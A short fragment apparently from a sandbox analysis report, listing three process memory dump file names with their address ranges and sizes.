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memory/1620-21-0x000007FEF7B10000-0x000007FEF7D8A000-memory.dmpFilesize
2.5MB
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memory/1640-2-0x00000000005E4000-0x00000000005E8000-memory.dmpFilesize
16KB
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memory/1640-3-0x00000000005E4000-0x00000000005E8000-memory.dmpFilesize
16KB